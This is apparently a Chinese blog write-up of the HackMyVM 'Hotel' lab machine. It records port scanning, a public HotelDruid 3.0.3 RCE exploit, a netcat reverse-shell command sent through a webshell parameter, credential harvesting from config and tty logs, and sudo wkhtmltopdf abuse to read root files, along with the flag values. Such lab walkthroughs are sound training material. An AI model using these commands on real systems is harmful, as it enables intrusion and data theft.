当前位置： 首页 > news >正文

HackMyVM-Hotel

news 来源：原创 2025/6/21 6:10:10

目录

  • 信息搜集
  • 漏洞利用
  • 提权

信息搜集

主机发现

┌──(kali㉿kali)-[~]
└─$ nmap -sn 192.168.21.0/24   
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-09 22:24 EDT
Nmap scan report for 192.168.21.1 (192.168.21.1)
Host is up (0.0016s latency).
MAC Address: CC:E0:DA:EB:34:A2 (Baidu Online Network Technology (Beijing))
Nmap scan report for 192.168.21.2 (192.168.21.2)
Host is up (0.00026s latency).
MAC Address: 04:6C:59:BD:33:50 (Intel Corporate)
Nmap scan report for 192.168.21.6 (192.168.21.6)
Host is up (0.035s latency).
MAC Address: C2:AB:39:9E:98:94 (Unknown)
Nmap scan report for 192.168.21.8 (192.168.21.8)
Host is up (0.00025s latency).
MAC Address: 08:00:27:A0:F9:88 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.21.11 (192.168.21.11)
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.10 seconds

端口扫描

┌──(kali㉿kali)-[~]
└─$ nmap --min-rate 10000 -p- 192.168.21.8
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-09 22:24 EDT
Nmap scan report for 192.168.21.8 (192.168.21.8)
Host is up (0.00027s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:A0:F9:88 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.80 seconds
                                                                
┌──(kali㉿kali)-[~]
└─$ nmap -sT -sV -O -p22,80 192.168.21.8  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-09 22:25 EDT
Nmap scan report for 192.168.21.8 (192.168.21.8)
Host is up (0.00027s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
MAC Address: 08:00:27:A0:F9:88 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.74 seconds

漏洞利用

80端口

在这里插入图片描述

目录扫描

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.21.8 -w SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x html,php,txt,jpg,png,zip,git
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.21.8
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,jpg,png,zip,git,html,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 398]
/img                  (Status: 301) [Size: 169] [--> http://192.168.21.8/img/]                                                  
/themes               (Status: 301) [Size: 169] [--> http://192.168.21.8/themes/]                                               
/doc                  (Status: 301) [Size: 169] [--> http://192.168.21.8/doc/]                                                  
/includes             (Status: 301) [Size: 169] [--> http://192.168.21.8/includes/]                                             
/api.php              (Status: 200) [Size: 0]
/clienti.php          (Status: 200) [Size: 85]
/dati                 (Status: 301) [Size: 169] [--> http://192.168.21.8/dati/]                                                 
/personalizza.php     (Status: 200) [Size: 114046]
/costi.php            (Status: 200) [Size: 10900]
/messaggi.php         (Status: 200) [Size: 40597]
/prenota.php          (Status: 200) [Size: 15846]
Progress: 9482032 / 9482040 (100.00%)
===============================================================
Finished
===============================================================

/personalizza.php

在这里插入图片描述

搜索一下相关漏洞

┌──(kali㉿kali)-[~]
└─$ searchsploit HotelDruid 3.0.3
------------------------------ ---------------------------------
 Exploit Title                |  Path
------------------------------ ---------------------------------
Hotel Druid 3.0.3 - Remote Co | php/webapps/50754.py
------------------------------ ---------------------------------
Shellcodes: No Results
                                                                
┌──(kali㉿kali)-[~]
└─$ searchsploit -m 50754        
  Exploit: Hotel Druid 3.0.3 - Remote Code Execution (RCE)
      URL: https://www.exploit-db.com/exploits/50754
     Path: /usr/share/exploitdb/exploits/php/webapps/50754.py
    Codes: CVE-2022-22909
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/50754.py

利用脚本

┌──(kali㉿kali)-[~]
└─$ python3 50754.py -t http://192.168.21.8 --noauth 
/home/kali/50754.py:75: SyntaxWarning: invalid escape sequence '\ '
  | $$  | $$  /$$$$$$  /$$$$$$    /$$$$$$ | $$      | $$  \ $$  /$$$$$$  /$$   /$$ /$$  /$$$$$$$

 /$$   /$$             /$$               /$$       /$$$$$$$                      /$$       /$$
| $$  | $$            | $$              | $$      | $$__  $$                    |__/      | $$
| $$  | $$  /$$$$$$  /$$$$$$    /$$$$$$ | $$      | $$  \ $$  /$$$$$$  /$$   /$$ /$$  /$$$$$$$
| $$$$$$$$ /$$__  $$|_  $$_/   /$$__  $$| $$      | $$  | $$ /$$__  $$| $$  | $$| $$ /$$__  $$
| $$__  $$| $$  \ $$  | $$    | $$$$$$$$| $$      | $$  | $$| $$  \__/| $$  | $$| $$| $$  | $$
| $$  | $$| $$  | $$  | $$ /$$| $$_____/| $$      | $$  | $$| $$      | $$  | $$| $$| $$  | $$
| $$  | $$|  $$$$$$/  |  $$$$/|  $$$$$$$| $$      | $$$$$$$/| $$      |  $$$$$$/| $$|  $$$$$$$
|__/  |__/ \______/    \___/   \_______/|__/      |_______/ |__/       \______/ |__/ \_______/

Exploit By - 0z09e (https://twitter.com/0z09e)


[*] Trying to access the Dashboard.
[*] Checking the privilege of the user.
[+] User has the privilege to add room.
[*] Adding a new room.
[+] Room has been added successfully.
[*] Testing code exection
[+] Code executed successfully, Go to http://192.168.21.8/dati/selectappartamenti.php and execute the code with the parameter 'cmd'.
[+] Example : http://192.168.21.8/dati/selectappartamenti.php?cmd=id
[+] Example Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)

反弹shell

http://192.168.21.8/dati/selectappartamenti.php?cmd=nc%20192.168.21.11%204444%20-e%20/bin/bash;

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444         
listening on [any] 4444 ...
connect to [192.168.21.11] from (UNKNOWN) [192.168.21.8] 60846
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

提权

看看都有什么

python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@hotel:~/html/hoteldruid/dati$ sudo -l
sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for www-data: 

Sorry, try again.
[sudo] password for www-data: 

Sorry, try again.
[sudo] password for www-data: 

sudo: 3 incorrect password attempts
www-data@hotel:~/html/hoteldruid/dati$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/libexec/polkit-agent-helper-1
/usr/bin/su
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/umount
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/mount
www-data@hotel:~/html/hoteldruid/dati$ /usr/sbin/getcap -r / 2>/dev/null
/usr/sbin/getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/ping cap_net_raw=ep
www-data@hotel:~/html/hoteldruid/dati$ cat /etc/passwd | grep /bin/bash
cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
person:x:1000:1000:person,,,:/home/person:/bin/bash

找到了数据库账号密码

www-data@hotel:~/html/hoteldruid/dati$ cat dati_connessione.php
cat dati_connessione.php
<?php
$PHPR_DB_TYPE = "mysqli";
$PHPR_DB_NAME = "hotel";
$PHPR_DB_HOST = "localhost";
$PHPR_DB_PORT = "3306";
$PHPR_DB_USER = "adminh";
$PHPR_DB_PASS = "adminp";
$PHPR_LOAD_EXT = "";
$PHPR_TAB_PRE = "";
$PHPR_LOG = "NO";

继续找找看

www-data@hotel:~/html$ ls -la
ls -la
total 16
drwxr-xr-x 3 root     root     4096 Feb 20  2022 .
drwxr-xr-x 3 root     root     4096 Feb 20  2022 ..
drwxr-xr-x 7 person   person   4096 Aug 18  2021 hoteldruid
-rw-r--r-- 1 www-data www-data 1592 Feb 20  2022 ttylog

在这里插入图片描述

提权

提权

www-data@hotel:~/html$ su person
su person
Password: Endur4nc3.

person@hotel:/var/www/html$ id
id
uid=1000(person) gid=1000(person) grupos=1000(person),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

找找有什么

person@hotel:~$ sudo -l
sudo -l
Matching Defaults entries for person on hotel:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User person may run the following commands on hotel:
    (root) NOPASSWD: /usr/bin/wkhtmltopdf
person@hotel:~$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/libexec/polkit-agent-helper-1
/usr/bin/su
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/umount
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/mount
person@hotel:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/sbin/getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/ping cap_net_raw=ep
person@hotel:~$ ls -la
ls -la
total 32
drwxr-xr-x 3 person person 4096 feb 20  2022 .
drwxr-xr-x 3 root   root   4096 feb 20  2022 ..
-rw-r--r-- 1 person person  220 feb 20  2022 .bash_logout
-rw-r--r-- 1 person person 3526 feb 20  2022 .bashrc
drwxr-xr-x 3 person person 4096 feb 20  2022 .local
-rw-r--r-- 1 person person  807 feb 20  2022 .profile
-rw------- 1 person person   19 feb 20  2022 user.txt
-rw------- 1 person person   51 feb 20  2022 .Xauthority

user.txt

person@hotel:~$ cat user.txt
cat user.txt
RUvSNcQ3m2OyHzxHMV

root.txt

在这里插入图片描述

person@hotel:~$ sudo /usr/bin/wkhtmltopdf /etc/shadow shadow.pdf
QStandardPaths: XDG_RUNTIME_DIR not set, defaulting to '/tmp/runtime-root'
Loading page (1/2)
[>                                                           ] 0[============================================================] 1Error: Failed loading page file:///etc/shadow (sometimes it will work just to ignore this error with --load-error-handling ignore)
Exit with code 1, due to unknown error.
person@hotel:~$ sudo /usr/bin/wkhtmltopdf /root/root.txt root.pdf
QStandardPaths: XDG_RUNTIME_DIR not set, defaulting to '/tmp/runtime-root'
Loading page (1/2)
[>                                                           ] 0[==============================>                             ] 5[============================================================] 1Printing pages (2/2)                                               
Done                                                           
person@hotel:~$ ls -la
total 40
drwxr-xr-x 3 person person 4096 abr 10 05:34 .
drwxr-xr-x 3 root   root   4096 feb 20  2022 ..
-rw-r--r-- 1 person person  220 feb 20  2022 .bash_logout
-rw-r--r-- 1 person person 3526 feb 20  2022 .bashrc
drwxr-xr-x 3 person person 4096 feb 20  2022 .local
-rw-r--r-- 1 person person  807 feb 20  2022 .profile
-rw-r--r-- 1 root   root   7617 abr 10 05:34 root.pdf
-rw------- 1 person person   19 feb 20  2022 user.txt
-rw------- 1 person person   51 feb 20  2022 .Xauthority

下载下来查看一下

在这里插入图片描述

相关文章：

  • springboot返回所有接口详细信息
  • 2.Spring-注解开发定义bean/纯注解开发/Spring整合MyBatis（p21-p30）
  • 【动手学深度学习】现代卷积神经网络：ALexNet
  • vue实现目录锚点且滚动到指定区域时锚点自动回显——双向锚点
  • [特殊字符] 企业级Docker私有仓库实战：3步搭建Harbor安全仓库，镜像管理从此高效无忧
  • 【Vue 3 + Element Plus 实现产品标签的动态添加、删除与回显】
  • 【AI提示词】竞品分析专家
  • 解决IDEA中自动生成返回值带final修饰的问题
  • 揭秘大数据 | 19、软件定义的世界
  • 基于 C语言 的信号量实现与应用
  • C# 状态模式深度解析：构建灵活的状态驱动系统
  • linux中CosyVoice声音克隆安装教程——TTS文本转语音（数字人组件）
  • React首页加载速度优化
  • Android PowerManager功能接口详解
  • Linux 字符串截取#与%
  • xtrabackup备份
  • SpringQuartz集群支持：JDBC存储与分布式执行
  • Blender 转 STL 文件全攻略：从基础到进阶
  • 大语言模型：在共识与创造之间的技术困局与破局探索
  • Python 实现的运筹优化系统数学建模详解(最大最小化模型)
  • 做企业网站赚钱吗/链接平台
  • 天津交通网站建设/今天重大新闻国内最新消息
  • 下载的网站模板怎么修改/百度网盘搜索引擎入口在哪里
  • 网站页面改版/优化大师使用心得
  • 厦门网站建设价格/域名注册时间查询
  • 设备电商网站模板/优化师的工作内容